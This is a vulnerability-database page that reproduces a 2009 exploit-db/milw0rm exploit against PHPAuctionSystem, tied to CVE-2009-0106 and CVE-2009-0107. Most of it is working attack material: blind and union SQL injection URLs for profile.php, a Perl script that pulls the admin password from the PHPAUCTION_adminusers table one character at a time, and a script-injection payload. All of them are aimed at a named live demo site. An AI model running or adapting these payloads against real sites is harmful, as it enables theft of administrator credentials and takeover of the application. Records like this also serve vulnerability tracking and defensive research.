Lucene search
+L

PHPAuctionSystem - Cross-Site Scripting / SQL Injection

🗓️ 05 Jan 2009 00:00:00Reported by x0rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

PHPAuctionSystem security vulnerabilities - XSS and SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-0106
5 Jan 200900:00
circl
circl
Circl
CVE-2009-0107
5 Jan 200900:00
circl
cve
CVE
CVE-2009-0106
9 Jan 200918:00
cve
cve
CVE
CVE-2009-0107
9 Jan 200918:00
cve
cvelist
Cvelist
CVE-2009-0106
9 Jan 200918:00
cvelist
cvelist
Cvelist
CVE-2009-0107
9 Jan 200918:00
cvelist
euvd
EUVD
EUVD-2009-0115
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2009-0116
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-0106
9 Jan 200918:30
nvd
nvd
NVD
CVE-2009-0107
9 Jan 200918:30
nvd
Rows per page
#########################
#PHPAuctionSystem#
#########################
Author:x0r
Email:[email protected]
Cms:PhpAuctionSystemvnew
Cmsprice:$59.99
Demo:http://www.phpauctions.info/demo/
##########################

BugIn:\profile.php(Blind\Normal Sql Injection)

Exploit(Blind):
profile.php?user_id=29%20and%20substring(@@version,1,1)=5--

profile.php?user_id=29%20and%20substring(@@version,1,1)=4--
		profile.php?user_id=29and+1=0--
		profile.php?user_id=29and+1=1--
Perl Exploit:

#!/usr/bin/perl -w

      use strict;

      use LWP::Simple;

      my $a;

  my $host = "http://www.phpauctions.info/demo/profile.php?user_id="; #Put
the victim i've used the demo

      my @chars = (48..57, 97..102);


      for my $i(1..32) {

         foreach my $ord(@chars) {



         $a =
get($host."1+and+ascii(substring((select+password+from+PHPAUCTION_adminusers+where+id=10),$i,1))=$ord--");



         if($a =~ /coucou/i) {#put the username of the user_id=[id]

           syswrite(STDOUT,chr($ord));

           $i++;

           last;

          }

        }

      }

Sql Injection:

profile.php?user_id=-29%20union%20select%201,concat(id,char(58),username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20PHPAUCTION_adminusers--


Exploit(XSS):profile.php?user_id=29&auction_id=9[XssCode]

LiveDemo:http://www.phpauctions.info/demo/profile.php?user_id=29and
substring(@@version,1,1)=4--[False]
http://www.phpauctions.info/demo/profile.php?user_id=29and
substring(@@version,1,1)=5--[True]

LiveDemo(XSS):

http://www.phpauctions.info/demo/profile.php?user_id=29&auction_id=9<script>alert(1);</script>

Live Demo Sql:

http://www.phpauctions.info/demo/profile.php?user_id=-29%20union%20select%201,concat(id,char(58),username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20PHPAUCTION_adminusers--


Greetz:MyGirlfriend...

# milw0rm.com [2009-01-05]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jan 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01484
44